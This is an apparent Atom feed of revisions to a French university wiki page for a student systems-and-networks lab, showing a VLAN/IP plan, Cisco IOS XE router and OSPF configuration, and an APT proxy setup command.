		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35328"/>
		<updated>2016-11-21T14:39:54Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* Xen */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35327</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35327"/>
		<updated>2016-11-21T14:37:10Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35324</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35324"/>
		<updated>2016-11-21T14:20:53Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35315</id>
